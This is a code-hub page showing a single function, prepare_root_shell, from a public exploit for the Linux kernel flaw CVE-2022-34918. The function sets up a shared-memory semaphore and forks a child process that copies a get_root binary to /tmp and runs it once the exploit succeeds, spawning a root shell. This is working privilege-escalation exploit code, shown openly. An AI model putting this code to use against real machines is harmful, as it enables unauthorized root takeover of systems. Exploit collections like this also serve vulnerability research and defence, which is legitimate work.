MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / prepare_root_shell

Function prepare_root_shell

CVE-2022-34918/exploit/exploit.c:286–299  ·  view source on GitHub ↗

prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit

Source from the content-addressed store, hash-verified

284
285// prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
286void prepare_root_shell(void) {
287 int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
288 shell_barrier = shmat(shmid, NULL, 0);
289
290 if (sem_init(shell_barrier, 1, 0) < 0)
291 error("sem_init");
292
293 if (!fork()) {
294 system("cp get_root /tmp");
295 sem_wait(shell_barrier);
296 system("/tmp/get_root");
297 exit(EXIT_SUCCESS);
298 }
299}
300
301// create_dummy_file(): Create a file to trigger call_modprobe in case of execution
302void create_dummy_file(void) {

Callers 1

mainFunction · 0.70

Calls 1

errorFunction · 0.70

Tested by

no test coverage detected